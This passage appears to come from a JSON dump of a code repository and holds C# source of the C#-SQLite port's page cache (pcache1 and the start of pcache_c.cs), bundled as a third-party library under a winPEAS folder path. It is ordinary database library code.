nPage = 0;\n        nHash = 0;\n        apHash = null;\n        iMaxKey = 0;\n      }\n    };\n\n    /*\n    ** Each cache entry is represented by an instance of the following\n    ** structure. A buffer of PgHdr1.pCache.szPage bytes is allocated\n    ** directly before this structure in memory (see the PGHDR1_TO_PAGE()\n    ** macro below).\n    */\n    public class PgHdr1\n    {\n      public u32 iKey;                     /* Key value (page number) */\n      public PgHdr1 pNext;                 /* Next in hash table chain */\n      public PCache1 pCache;               /* Cache that currently owns this page */\n      public PgHdr1 pLruNext;              /* Next in LRU list of unpinned pages */\n      public PgHdr1 pLruPrev;              /* Previous in LRU list of unpinned pages */\n      public PgHdr pPgHdr = new PgHdr();   /* Pointer to Actual Page Header */\n\n      public void Clear()\n      {\n        this.iKey = 0;\n        this.pNext = null;\n        this.pCache = null;\n        this.pPgHdr.Clear();\n      }\n    };\n\n    /*\n    ** Free slots in the allocator used to divide up the buffer provided using\n    ** the SQLITE_CONFIG_PAGECACHE mechanism.\n    */\n    //typedef struct PgFreeslot PgFreeslot;\n    public class PgFreeslot\n    {\n      public PgFreeslot pNext;  /* Next free slot */\n      public PgHdr _PgHdr;      /* Next Free Header */\n    };\n\n    /*\n    ** Global data for the page cache.\n    */\n    public class PCacheGlobal\n    {\n      public sqlite3_mutex mutex;               /* static mutex MUTEX_STATIC_LRU */\n\n      public int nMaxPage;                     /* Sum of nMaxPage for purgeable caches */\n      public int nMinPage;                     /* Sum of nMinPage for purgeable caches */\n      public int nCurrentPage;                  /* Number of purgeable pages allocated */\n      public PgHdr1 pLruHead, pLruTail;          /* LRU list of unused clean pgs */\n\n      /* Variables related to SQLITE_CONFIG_PAGECACHE settings. */\n      public int szSlot;                         /* Size of each free slot */\n      public object pStart, pEnd;                /* Bounds of pagecache malloc range */\n      public PgFreeslot pFree;                   /* Free page blocks */\n      public int isInit;                         /* True if initialized */\n    }\n    static PCacheGlobal pcache = new PCacheGlobal();\n\n    /*\n    ** All code in this file should access the global structure above via the\n    ** alias \"pcache1\". This ensures that the WSD emulation is used when\n    ** compiling for systems that do not support real WSD.\n    */\n\n    //#define pcache1 (GLOBAL(struct PCacheGlobal, pcache1_g))\n    static PCacheGlobal pcache1 = pcache;\n\n    /*\n    ** When a PgHdr1 structure is allocated, the associated PCache1.szPage\n    ** bytes of data are located directly before it in memory (i.e. the total\n    ** size of the allocation is sizeof(PgHdr1)+PCache1.szPage byte). The\n    ** PGHDR1_TO_PAGE() macro takes a pointer to a PgHdr1 structure as\n    ** an argument and returns a pointer to the associated block of szPage\n    ** bytes. The PAGE_TO_PGHDR1() macro does the opposite: its argument is\n    ** a pointer to a block of szPage bytes of data and the return value is\n    ** a pointer to the associated PgHdr1 structure.\n    **\n    **   assert( PGHDR1_TO_PAGE(PAGE_TO_PGHDR1(pCache, X))==X );\n    */\n    //#define PGHDR1_TO_PAGE(p)    (void*)(((char*)p) - p->pCache->szPage)\n    static PgHdr PGHDR1_TO_PAGE( PgHdr1 p ) { return p.pPgHdr; }\n\n    //#define PAGE_TO_PGHDR1(c, p) (PgHdr1*)(((char*)p) + c->szPage)\n    static PgHdr1 PAGE_TO_PGHDR1( PCache1 c, PgHdr p ) { return p.pPgHdr1; }\n    /*\n    ** Macros to enter and leave the global LRU mutex.\n    */\n    //#define pcache1EnterMutex() sqlite3_mutex_enter(pcache1.mutex)\n    //#define pcache1LeaveMutex() sqlite3_mutex_leave(pcache1.mutex)\n    static void pcache1EnterMutex() { sqlite3_mutex_enter( pcache1.mutex ); }\n    static void pcache1LeaveMutex() { sqlite3_mutex_leave( pcache1.mutex ); }\n\n    /******************************************************************************/\n    /******** Page Allocation/SQLITE_CONFIG_PCACHE Related Functions **************/\n\n    /*\n    ** This function is called during initialization if a static buffer is\n    ** supplied to use for the page-cache by passing the SQLITE_CONFIG_PAGECACHE\n    ** verb to sqlite3_config(). Parameter pBuf points to an allocation large\n    ** enough to contain 'n' buffers of 'sz' bytes each.\n    */\n    static void sqlite3PCacheBufferSetup( object pBuf, int sz, int n )\n    {\n      if ( pcache1.isInit != 0 )\n      {\n        PgFreeslot p;\n        sz = ROUNDDOWN8( sz );\n        pcache1.szSlot = sz;\n        pcache1.pStart = pBuf;\n        pcache1.pFree = null;\n        while ( n-- != 0 )\n        {\n          p = new PgFreeslot();// (PgFreeslot)pBuf;\n          p._PgHdr = new PgHdr();\n          p.pNext = pcache1.pFree;\n          pcache1.pFree = p;\n          //pBuf = (void*)&((char*)pBuf)[sz];\n        }\n        pcache1.pEnd = pBuf;\n      }\n    }\n\n    /*\n    ** Malloc function used within this file to allocate space from the buffer\n    ** configured using sqlite3_config(SQLITE_CONFIG_PAGECACHE) option. If no\n    ** such buffer exists or there is no space left in it, this function falls\n    ** back to sqlite3Malloc().\n    */\n    static PgHdr pcache1Alloc( int nByte )\n    {\n      PgHdr p;\n      Debug.Assert( sqlite3_mutex_held( pcache1.mutex ) );\n      if ( nByte <= pcache1.szSlot && pcache1.pFree != null )\n      {\n        Debug.Assert( pcache1.isInit != 0 );\n        p = pcache1.pFree._PgHdr;\n        p.CacheAllocated = true;\n        pcache1.pFree = pcache1.pFree.pNext;\n        sqlite3StatusSet( SQLITE_STATUS_PAGECACHE_SIZE, nByte );\n        sqlite3StatusAdd( SQLITE_STATUS_PAGECACHE_USED, 1 );\n      }\n      else\n      {\n\n        /* Allocate a new buffer using sqlite3Malloc. Before doing so, exit the\n        ** global pcache mutex and unlock the pager-cache object pCache. This is\n        ** so that if the attempt to allocate a new buffer causes the the\n        ** configured soft-heap-limit to be breached, it will be possible to\n        ** reclaim memory from this pager-cache.\n        */\n        pcache1LeaveMutex();\n        p = new PgHdr();//  p = sqlite3Malloc(nByte);\n        p.CacheAllocated = false;\n        pcache1EnterMutex();\n        //  if( p !=null){\n        int sz = nByte;//int sz = sqlite3MallocSize(p);\n        sqlite3StatusAdd( SQLITE_STATUS_PAGECACHE_OVERFLOW, sz );\n      }\n      return p;\n    }\n\n    /*\n    ** Free an allocated buffer obtained from pcache1Alloc().\n    */\n    static void pcache1Free( ref PgHdr p )\n    {\n      Debug.Assert( sqlite3_mutex_held( pcache1.mutex ) );\n      if ( p == null ) return;\n      if (p.CacheAllocated) //if ( p >= pcache1.pStart && p < pcache1.pEnd )\n      {\n        PgFreeslot pSlot = new PgFreeslot();\n        sqlite3StatusAdd( SQLITE_STATUS_PAGECACHE_USED, -1 );\n        pSlot._PgHdr = p;// (PgFreeslot)p;\n        pSlot.pNext = pcache1.pFree;\n        pcache1.pFree = pSlot;\n      }\n      else\n      {\n        int iSize = p.pData.Length;//sqlite3MallocSize( p );\n        sqlite3StatusAdd( SQLITE_STATUS_PAGECACHE_OVERFLOW, -iSize );\n        p = null;//sqlite3_free( ref p );\n      }\n    }\n\n    /*\n    ** Allocate a new page object initially associated with cache pCache.\n    */\n    static PgHdr1 pcache1AllocPage( PCache1 pCache )\n    {\n      //int nByte = sizeof(PgHdr1) + pCache.szPage;\n      PgHdr pPg = pcache1Alloc( pCache.szPage );\n      PgHdr1 p;\n      //if ( pPg != null )\n      {\n        // PAGE_TO_PGHDR1( pCache, pPg );\n        p = new PgHdr1();\n        p.pCache = pCache;\n        p.pPgHdr = pPg;\n        if ( pCache.bPurgeable )\n        {\n          pcache1.nCurrentPage++;\n        }\n      }\n      //else\n      //{\n      //  p = null;\n      //}\n      return p;\n    }\n\n    /*\n    ** Free a page object allocated by pcache1AllocPage().\n    **\n    ** The pointer is allowed to be NULL, which is prudent.  But it turns out\n    ** that the current implementation happens to never call this routine\n    ** with a NULL pointer, so we mark the NULL test with ALWAYS().\n    */\n    static void pcache1FreePage( ref PgHdr1 p )\n    {\n      if ( ALWAYS( p != null ) )\n      {\n        if ( p.pCache.bPurgeable )\n        {\n          pcache1.nCurrentPage--;\n        }\n        pcache1Free( ref p.pPgHdr );//PGHDR1_TO_PAGE( p );\n      }\n    }\n\n    /*\n    ** Malloc function used by SQLite to obtain space from the buffer configured\n    ** using sqlite3_config(SQLITE_CONFIG_PAGECACHE) option. If no such buffer\n    ** exists, this function falls back to sqlite3Malloc().\n    */\n    static PgHdr sqlite3PageMalloc( int sz )\n    {\n      PgHdr p;\n      pcache1EnterMutex();\n      p = pcache1Alloc( sz );\n      pcache1LeaveMutex();\n      return p;\n    }\n\n    /*\n    ** Free an allocated buffer obtained from sqlite3PageMalloc().\n    */\n    static void sqlite3PageFree( ref PgHdr p)\n    {\n      pcache1EnterMutex();\n      pcache1Free( ref p );\n      pcache1LeaveMutex();\n    }\n\n    /******************************************************************************/\n    /******** General Implementation Functions ************************************/\n\n    /*\n    ** This function is used to resize the hash table used by the cache passed\n    ** as the first argument.\n    **\n    ** The global mutex must be held when this function is called.\n    */\n    static int pcache1ResizeHash( PCache1 p )\n    {\n      PgHdr1[] apNew;\n      u32 nNew;\n      u32 i;\n\n      Debug.Assert( sqlite3_mutex_held( pcache1.mutex ) );\n\n      nNew = p.nHash * 2;\n      if ( nNew < 256 )\n      {\n        nNew = 256;\n      }\n\n      pcache1LeaveMutex();\n      if ( p.nHash != 0 ) { sqlite3BeginBenignMalloc(); }\n      apNew = new PgHdr1[nNew];// (PgHdr1**)sqlite3_malloc( sizeof( PgHdr1* ) * nNew );\n      if ( p.nHash != 0 ) { sqlite3EndBenignMalloc(); }\n      pcache1EnterMutex();\n      if ( apNew != null )\n      {\n        //memset(apNew, 0, sizeof(PgHdr1 *)*nNew);\n        for ( i = 0 ; i < p.nHash ; i++ )\n        {\n          PgHdr1 pPage;\n          PgHdr1 pNext = p.apHash[i];\n          while ( ( pPage = pNext ) != null )\n          {\n            u32 h = (u32)( pPage.iKey % nNew );\n            pNext = pPage.pNext;\n            pPage.pNext = apNew[h];\n            apNew[h] = pPage;\n          }\n        }\n        //sqlite3_free( ref p.apHash );\n        p.apHash = apNew;\n        p.nHash = nNew;\n      }\n\n      return ( p.apHash != null ? SQLITE_OK : SQLITE_NOMEM );\n    }\n\n    /*\n    ** This function is used internally to remove the page pPage from the\n    ** global LRU list, if is part of it. If pPage is not part of the global\n    ** LRU list, then this function is a no-op.\n    **\n    ** The global mutex must be held when this function is called.\n    */\n    static void pcache1PinPage( PgHdr1 pPage )\n    {\n      Debug.Assert( sqlite3_mutex_held( pcache1.mutex ) );\n      if ( pPage != null && ( pPage.pLruNext != null || pPage == pcache1.pLruTail ) )\n      {\n        if ( pPage.pLruPrev != null )\n        {\n          pPage.pLruPrev.pLruNext = pPage.pLruNext;\n        }\n        if ( pPage.pLruNext != null )\n        {\n          pPage.pLruNext.pLruPrev = pPage.pLruPrev;\n        }\n        if ( pcache1.pLruHead == pPage )\n        {\n          pcache1.pLruHead = pPage.pLruNext;\n        }\n        if ( pcache1.pLruTail == pPage )\n        {\n          pcache1.pLruTail = pPage.pLruPrev;\n        }\n        pPage.pLruNext = null;\n        pPage.pLruPrev = null;\n        pPage.pCache.nRecyclable--;\n      }\n    }\n\n\n    /*\n    ** Remove the page supplied as an argument from the hash table\n    ** (PCache1.apHash structure) that it is currently stored in.\n    **\n    ** The global mutex must be held when this function is called.\n    */\n    static void pcache1RemoveFromHash( PgHdr1 pPage )\n    {\n      u32 h;\n      PCache1 pCache = pPage.pCache;\n      PgHdr1 pp, pPrev;\n\n      h = pPage.iKey % pCache.nHash;\n      pPrev = null;\n      for ( pp = pCache.apHash[h] ; pp != pPage ; pPrev = pp, pp = pp.pNext ) ;\n      if ( pPrev == null ) pCache.apHash[h] = pp.pNext; else pPrev.pNext = pp.pNext; // pCache.apHash[h] = pp.pNext;\n\n      pCache.nPage--;\n    }\n\n    /*\n    ** If there are currently more than pcache.nMaxPage pages allocated, try\n    ** to recycle pages to reduce the number allocated to pcache.nMaxPage.\n    */\n    static void pcache1EnforceMaxPage()\n    {\n      Debug.Assert( sqlite3_mutex_held( pcache1.mutex ) );\n      while ( pcache1.nCurrentPage > pcache1.nMaxPage && pcache1.pLruTail != null )\n      {\n        PgHdr1 p = pcache1.pLruTail;\n        pcache1PinPage( p );\n        pcache1RemoveFromHash( p );\n        pcache1FreePage( ref p );\n      }\n    }\n\n    /*\n    ** Discard all pages from cache pCache with a page number (key value)\n    ** greater than or equal to iLimit. Any pinned pages that meet this\n    ** criteria are unpinned before they are discarded.\n    **\n    ** The global mutex must be held when this function is called.\n    */\n    static void pcache1TruncateUnsafe(\n    PCache1 pCache,\n    u32 iLimit\n    )\n    {\n      //TESTONLY( unsigned int nPage = 0; )      /* Used to assert pCache->nPage is correct */\n#if !NDEBUG || SQLITE_COVERAGE_TEST\n      u32 nPage = 0;\n#endif\n      u32 h;\n      Debug.Assert( sqlite3_mutex_held( pcache1.mutex ) );\n      for ( h = 0 ; h < pCache.nHash ; h++ )\n      {\n        PgHdr1 pp = pCache.apHash[h];\n        PgHdr1 pPage;\n        while ( ( pPage = pp ) != null )\n        {\n          if ( pPage.iKey >= iLimit )\n          {\n            pCache.nPage--;\n            pp = pPage.pNext;\n            pcache1PinPage( pPage );\n            if ( pCache.apHash[h] == pPage )\n              pCache.apHash[h] = pPage.pNext;\n            else Debugger.Break();\n            pcache1FreePage( ref  pPage );\n          }\n          else\n          {\n            pp = pPage.pNext;\n            //TESTONLY( nPage++; )\n#if !NDEBUG || SQLITE_COVERAGE_TEST\n            nPage++;\n#endif\n          }\n        }\n      }\n#if !NDEBUG || SQLITE_COVERAGE_TEST\n      Debug.Assert( pCache.nPage == nPage );\n#endif\n    }\n\n    /******************************************************************************/\n    /******** sqlite3_pcache Methods **********************************************/\n\n    /*\n    ** Implementation of the sqlite3_pcache.xInit method.\n    */\n    static int pcache1Init( object NotUsed )\n    {\n      UNUSED_PARAMETER( NotUsed );\n      Debug.Assert( pcache1.isInit == 0 );\n      pcache1 = new PCacheGlobal();// memset( &pcache1, 0, sizeof( pcache1 ) );\n      if ( sqlite3GlobalConfig.bCoreMutex )\n      {\n        pcache1.mutex = sqlite3_mutex_alloc( SQLITE_MUTEX_STATIC_LRU );\n      }\n      pcache1.isInit = 1;\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Implementation of the sqlite3_pcache.xShutdown method.\n    */\n    static void pcache1Shutdown( object NotUsed )\n    {\n      UNUSED_PARAMETER( NotUsed );\n      Debug.Assert( pcache1.isInit != 0 );\n      pcache1 = new PCacheGlobal(); //memset( &pcache1, 0, sizeof( pcache1 ) );\n    }\n\n    /*\n    ** Implementation of the sqlite3_pcache.xCreate method.\n    **\n    ** Allocate a new cache.\n    */\n    static sqlite3_pcache pcache1Create( int szPage, int bPurgeable )\n    {\n      PCache1 pCache;\n\n      pCache = new PCache1();// (PCache1*)sqlite3_malloc( sizeof( PCache1 ) );\n      if ( pCache != null )\n      {\n        //memset(pCache, 0, sizeof(PCache1));\n        pCache.szPage = szPage;\n        pCache.bPurgeable = ( bPurgeable != 0 );\n        if ( bPurgeable != 0 )\n        {\n          pCache.nMin = 10;\n          pcache1EnterMutex();\n          pcache1.nMinPage += (int)pCache.nMin;\n          pcache1LeaveMutex();\n        }\n      }\n      return pCache;\n    }\n\n    /*\n    ** Implementation of the sqlite3_pcache.xCachesize method.\n    **\n    ** Configure the cache_size limit for a cache.\n    */\n    static void pcache1Cachesize( sqlite3_pcache p, int nMax )\n    {\n      PCache1 pCache = (PCache1)p;\n      if ( pCache.bPurgeable )\n      {\n        pcache1EnterMutex();\n        pcache1.nMaxPage += (int)( nMax - pCache.nMax );\n        pCache.nMax = (u32)nMax;\n        pcache1EnforceMaxPage();\n        pcache1LeaveMutex();\n      }\n    }\n\n    /*\n    ** Implementation of the sqlite3_pcache.xPagecount method.\n    */\n    static int pcache1Pagecount( sqlite3_pcache p )\n    {\n      int n;\n      pcache1EnterMutex();\n      n = (int)( (PCache1)p ).nPage;\n      pcache1LeaveMutex();\n      return n;\n    }\n\n    /*\n    ** Implementation of the sqlite3_pcache.xFetch method. \n    **\n    ** Fetch a page by key value.\n    **\n    ** Whether or not a new page may be allocated by this function depends on\n    ** the value of the createFlag argument.  0 means do not allocate a new\n    ** page.  1 means allocate a new page if space is easily available.  2 \n    ** means to try really hard to allocate a new page.\n    **\n    ** For a non-purgeable cache (a cache used as the storage for an in-memory\n    ** database) there is really no difference between createFlag 1 and 2.  So\n    ** the calling function (pcache.c) will never have a createFlag of 1 on\n    ** a non-purgable cache.\n    **\n    ** There are three different approaches to obtaining space for a page,\n    ** depending on the value of parameter createFlag (which may be 0, 1 or 2).\n    **\n    **   1. Regardless of the value of createFlag, the cache is searched for a \n    **      copy of the requested page. If one is found, it is returned.\n    **\n    **   2. If createFlag==0 and the page is not already in the cache, NULL is\n    **      returned.\n    **\n    **   3. If createFlag is 1, and the page is not already in the cache,\n    **      and if either of the following are true, return NULL:\n    **\n    **       (a) the number of pages pinned by the cache is greater than\n    **           PCache1.nMax, or\n    **       (b) the number of pages pinned by the cache is greater than\n    **           the sum of nMax for all purgeable caches, less the sum of \n    **           nMin for all other purgeable caches. \n    **\n    **   4. If none of the first three conditions apply and the cache is marked\n    **      as purgeable, and if one of the following is true:\n    **\n    **       (a) The number of pages allocated for the cache is already \n    **           PCache1.nMax, or\n    **\n    **       (b) The number of pages allocated for all purgeable caches is\n    **           already equal to or greater than the sum of nMax for all\n    **           purgeable caches,\n    **\n    **      then attempt to recycle a page from the LRU list. If it is the right\n    **      size, return the recycled buffer. Otherwise, free the buffer and\n    **      proceed to step 5. \n    **\n    **   5. Otherwise, allocate and return a new page buffer.\n    */\n    static PgHdr pcache1Fetch( sqlite3_pcache p, u32 iKey, int createFlag )\n    {\n      u32 nPinned;\n      PCache1 pCache = p;\n      PgHdr1 pPage = null;\n\n      Debug.Assert( pCache.bPurgeable || createFlag != 1 );\n      pcache1EnterMutex();\n      if ( createFlag == 1 ) sqlite3BeginBenignMalloc();\n\n      /* Search the hash table for an existing entry. */\n      if ( pCache.nHash > 0 )\n      {\n        u32 h = iKey % pCache.nHash;\n        for ( pPage = pCache.apHash[h] ; pPage != null && pPage.iKey != iKey ; pPage = pPage.pNext ) ;\n      }\n\n      if ( pPage != null || createFlag == 0 )\n      {\n        pcache1PinPage( pPage );\n        goto fetch_out;\n      }\n\n      /* Step 3 of header comment. */\n      nPinned = pCache.nPage - pCache.nRecyclable;\n      if ( createFlag == 1 && (\n      nPinned >= ( pcache1.nMaxPage + pCache.nMin - pcache1.nMinPage )\n      || nPinned >= ( pCache.nMax * 9 / 10 )\n      ) )\n      {\n        goto fetch_out;\n      }\n\n      if ( pCache.nPage >= pCache.nHash && pcache1ResizeHash( pCache ) != 0 )\n      {\n        goto fetch_out;\n      }\n\n      /* Step 4. Try to recycle a page buffer if appropriate. */\n      if ( pCache.bPurgeable && pcache1.pLruTail != null && (\n      pCache.nPage + 1 >= pCache.nMax || pcache1.nCurrentPage >= pcache1.nMaxPage\n      ) )\n      {\n        pPage = pcache1.pLruTail;\n        pcache1RemoveFromHash( pPage );\n        pcache1PinPage( pPage );\n        if ( pPage.pCache.szPage != pCache.szPage )\n        {\n          pcache1FreePage( ref pPage );\n          pPage = null;\n        }\n        else\n        {\n          pcache1.nCurrentPage -= ( ( pPage.pCache.bPurgeable ? 1 : 0 ) - ( pCache.bPurgeable ? 1 : 0 ) );\n        }\n      }\n\n      /* Step 5. If a usable page buffer has still not been found,\n      ** attempt to allocate a new one.\n      */\n      if ( null == pPage )\n      {\n        pPage = pcache1AllocPage( pCache );\n      }\n\n      if ( pPage != null )\n      {\n        u32 h = iKey % pCache.nHash;\n        pCache.nPage++;\n        pPage.iKey = iKey;\n        pPage.pNext = pCache.apHash[h];\n        pPage.pCache = pCache;\n        pPage.pLruPrev = null;\n        pPage.pLruNext = null;\n        PGHDR1_TO_PAGE( pPage ).Clear();// *(void **)(PGHDR1_TO_PAGE(pPage)) = 0;\n        pPage.pPgHdr.pPgHdr1 = pPage;\n        pCache.apHash[h] = pPage;\n      }\n\nfetch_out:\n      if ( pPage != null && iKey > pCache.iMaxKey )\n      {\n        pCache.iMaxKey = iKey;\n      }\n      if ( createFlag == 1 ) sqlite3EndBenignMalloc();\n      pcache1LeaveMutex();\n      return ( pPage != null ? PGHDR1_TO_PAGE( pPage ) : null );\n    }\n\n\n    /*\n    ** Implementation of the sqlite3_pcache.xUnpin method.\n    **\n    ** Mark a page as unpinned (eligible for asynchronous recycling).\n    */\n    static void pcache1Unpin( sqlite3_pcache p, PgHdr pPg, int reuseUnlikely )\n    {\n      PCache1 pCache = (PCache1)p;\n      PgHdr1 pPage = PAGE_TO_PGHDR1( pCache, pPg );\n\n      Debug.Assert( pPage.pCache == pCache );\n      pcache1EnterMutex();\n\n      /* It is an error to call this function if the page is already\n      ** part of the global LRU list.\n      */\n      Debug.Assert( pPage.pLruPrev == null && pPage.pLruNext == null );\n      Debug.Assert( pcache1.pLruHead != pPage && pcache1.pLruTail != pPage );\n\n      if ( reuseUnlikely != 0 || pcache1.nCurrentPage > pcache1.nMaxPage )\n      {\n        pcache1RemoveFromHash( pPage );\n        pcache1FreePage( ref pPage );\n      }\n      else\n      {\n        /* Add the page to the global LRU list. Normally, the page is added to\n        ** the head of the list (last page to be recycled). However, if the\n        ** reuseUnlikely flag passed to this function is true, the page is added\n        ** to the tail of the list (first page to be recycled).\n        */\n        if ( pcache1.pLruHead != null )\n        {\n          pcache1.pLruHead.pLruPrev = pPage;\n          pPage.pLruNext = pcache1.pLruHead;\n          pcache1.pLruHead = pPage;\n        }\n        else\n        {\n          pcache1.pLruTail = pPage;\n          pcache1.pLruHead = pPage;\n        }\n        pCache.nRecyclable++;\n      }\n\n      pcache1LeaveMutex();\n    }\n\n    /*\n    ** Implementation of the sqlite3_pcache.xRekey method.\n    */\n    static void pcache1Rekey(\n    sqlite3_pcache p,\n    PgHdr pPg,\n    u32 iOld,\n    u32 iNew\n    )\n    {\n      PCache1 pCache = p;\n      PgHdr1 pPage = PAGE_TO_PGHDR1( pCache, pPg );\n      PgHdr1 pp;\n      u32 h;\n      Debug.Assert( pPage.iKey == iOld );\n      Debug.Assert( pPage.pCache == pCache );\n\n      pcache1EnterMutex();\n\n      h = iOld % pCache.nHash;\n      pp = pCache.apHash[h];\n      while ( pp != pPage )\n      {\n        pp = pp.pNext;\n      }\n      if ( pp == pCache.apHash[h] ) pCache.apHash[h] = pp.pNext;\n      else pp.pNext = pPage.pNext;\n\n      h = iNew % pCache.nHash;\n      pPage.iKey = iNew;\n      pPage.pNext = pCache.apHash[h];\n      pCache.apHash[h] = pPage;\n\n      /* The xRekey() interface is only used to move pages earlier in the\n      ** database file (in order to move all free pages to the end of the\n      ** file where they can be truncated off.)  Hence, it is not possible\n      ** for the new page number to be greater than the largest previously\n      ** fetched page.  But we retain the following test in case xRekey()\n      ** begins to be used in different ways in the future.\n      */\n      if ( NEVER( iNew > pCache.iMaxKey ) )\n      {\n        pCache.iMaxKey = iNew;\n      }\n\n      pcache1LeaveMutex();\n    }\n\n    /*\n    ** Implementation of the sqlite3_pcache.xTruncate method.\n    **\n    ** Discard all unpinned pages in the cache with a page number equal to\n    ** or greater than parameter iLimit. Any pinned pages with a page number\n    ** equal to or greater than iLimit are implicitly unpinned.\n    */\n    static void pcache1Truncate( sqlite3_pcache p, u32 iLimit )\n    {\n      PCache1 pCache = (PCache1)p;\n      pcache1EnterMutex();\n      if ( iLimit <= pCache.iMaxKey )\n      {\n        pcache1TruncateUnsafe( pCache, iLimit );\n        pCache.iMaxKey = iLimit - 1;\n      }\n      pcache1LeaveMutex();\n    }\n\n    /*\n    ** Implementation of the sqlite3_pcache.xDestroy method.\n    **\n    ** Destroy a cache allocated using pcache1Create().\n    */\n    static void pcache1Destroy( ref sqlite3_pcache p )\n    {\n      PCache1 pCache = p;\n      pcache1EnterMutex();\n      pcache1TruncateUnsafe( pCache, 0 );\n      pcache1.nMaxPage -= (int)pCache.nMax;\n      pcache1.nMinPage -= (int)pCache.nMin;\n      pcache1EnforceMaxPage();\n      pcache1LeaveMutex();\n      //sqlite3_free( ref pCache.apHash );\n      //sqlite3_free( ref pCache );\n    }\n\n    /*\n    ** This function is called during initialization (sqlite3_initialize()) to\n    ** install the default pluggable cache module, assuming the user has not\n    ** already provided an alternative.\n    */\n    static void sqlite3PCacheSetDefault()\n    {\n      sqlite3_pcache_methods defaultMethods = new sqlite3_pcache_methods(\n      0,                                /* pArg */\n      (dxPC_Init)pcache1Init,             /* xInit */\n      (dxPC_Shutdown)pcache1Shutdown,  /* xShutdown */\n      (dxPC_Create)pcache1Create,      /* xCreate */\n      (dxPC_Cachesize)pcache1Cachesize,/* xCachesize */\n      (dxPC_Pagecount)pcache1Pagecount,/* xPagecount */\n      (dxPC_Fetch)pcache1Fetch,         /* xFetch */\n      (dxPC_Unpin)pcache1Unpin,         /* xUnpin */\n      (dxPC_Rekey)pcache1Rekey,         /* xRekey */\n      (dxPC_Truncate)pcache1Truncate,   /* xTruncate */\n      (dxPC_Destroy)pcache1Destroy      /* xDestroy */\n      );\n      sqlite3_config( SQLITE_CONFIG_PCACHE, defaultMethods );\n    }\n\n#if  SQLITE_ENABLE_MEMORY_MANAGEMENT\n/*\n** This function is called to free superfluous dynamically allocated memory\n** held by the pager system. Memory in use by any SQLite pager allocated\n** by the current thread may be //sqlite3_free()ed.\n**\n** nReq is the number of bytes of memory required. Once this much has\n** been released, the function returns. The return value is the total number\n** of bytes of memory released.\n*/\nint sqlite3PcacheReleaseMemory(int nReq){\nint nFree = 0;\nif( pcache1.pStart==0 ){\nPgHdr1 p;\npcache1EnterMutex();\nwhile( (nReq<0 || nFree<nReq) && (p=pcache1.pLruTail) ){\nnFree += sqlite3MallocSize(PGHDR1_TO_PAGE(p));\npcache1PinPage(p);\npcache1RemoveFromHash(p);\npcache1FreePage(p);\n}\npcache1LeaveMutex();\n}\nreturn nFree;\n}\n#endif //* SQLITE_ENABLE_MEMORY_MANAGEMENT */\n\n#if  SQLITE_TEST\n    /*\n** This function is used by test procedures to inspect the internal state\n** of the global cache.\n*/\n    static void sqlite3PcacheStats(\n    ref int pnCurrent,      /* OUT: Total number of pages cached */\n    ref int pnMax,          /* OUT: Global maximum cache size */\n    ref int pnMin,          /* OUT: Sum of PCache1.nMin for purgeable caches */\n    ref int pnRecyclable    /* OUT: Total number of pages available for recycling */\n    )\n    {\n      PgHdr1 p;\n      int nRecyclable = 0;\n      for ( p = pcache1.pLruHead ; p != null ; p = p.pLruNext )\n      {\n        nRecyclable++;\n      }\n      pnCurrent = pcache1.nCurrentPage;\n      pnMax = pcache1.nMaxPage;\n      pnMin = pcache1.nMinPage;\n      pnRecyclable = nRecyclable;\n    }\n#endif\n\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/pcache_c.cs",
    "content": "using System.Diagnostics;\nusing u32 = System.UInt32;\nusing Pgno = System.UInt32;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n    using sqlite3_pcache = CSSQLite.PCache1;\n\n  public partial class CSSQLite\n  {\n    /*\n    ** 2008 August 05\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** This file implements that page cache.\n    **\n    ** @(#) $Id: pcache.c,v 1.47 2009/07/25 11:46:49 danielk1977 Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n\n    /*\n    ** A complete page cache is an instance of this structure.\n    */\n    public class PCache\n    {\n      public PgHdr pDirty, pDirtyTail;           /* List of dirty pages in LRU order */\n      public PgHdr pSynced;                      /* Last synced page in dirty page list */\n      public int nRef;                           /* Number of referenced pages */\n      public int nMax;                           /* Configured cache size */\n      public int szPage;                         /* Size of every page in this cache */\n      public int szExtra;                        /* Size of extra space for each page */\n      public bool bPurgeable;                    /* True if pages are on backing store */\n      public dxStress xStress; //int (*xStress)(void*,PgHdr*);       /* Call to try make a page clean */\n      public object pStress;                     /* Argument to xStress */\n      public sqlite3_pcache pCache;              /* Pluggable cache module */\n      public PgHdr pPage1;                       /* Reference to page 1 */\n\n      public void Clear()\n      {\n        pDirty = null;\n        pDirtyTail = null;\n        pSynced = null;\n        nRef = 0;\n      }\n    };\n\n    /*\n    ** Some of the Debug.Assert() macros in this code are too expensive to run\n    ** even during normal debugging.  Use them only rarely on long-running\n    ** tests.  Enable the expensive asserts using the\n    ** -DSQLITE_ENABLE_EXPENSIVE_ASSERT=1 compile-time option.\n    */\n#if SQLITE_ENABLE_EXPENSIVE_ASSERT\n//# define expensive_assert(X)  Debug.Assert(X)\nstatic void expensive_assert( bool x ) { Debug.Assert( x ); }\n#else\n    //# define expensive_assert(X)\n#endif\n\n    /********************************** Linked List Management ********************/\n\n#if !NDEBUG &&  SQLITE_ENABLE_EXPENSIVE_ASSERT\n/*\n** Check that the pCache.pSynced variable is set correctly. If it\n** is not, either fail an Debug.Assert or return zero. Otherwise, return\n** non-zero. This is only used in debugging builds, as follows:\n**\n**   expensive_assert( pcacheCheckSynced(pCache) );\n*/\nstatic int pcacheCheckSynced(PCache pCache){\nPgHdr p ;\nfor(p=pCache.pDirtyTail; p!=pCache.pSynced; p=p.pDirtyPrev){\nDebug.Assert( p.nRef !=0|| (p.flags&PGHDR_NEED_SYNC) !=0);\n}\nreturn (p==null || p.nRef!=0 || (p.flags&PGHDR_NEED_SYNC)==0)?1:0;\n}\n#endif //* !NDEBUG && SQLITE_ENABLE_EXPENSIVE_ASSERT */\n\n    /*\n** Remove page pPage from the list of dirty pages.\n*/\n    static void pcacheRemoveFromDirtyList( PgHdr 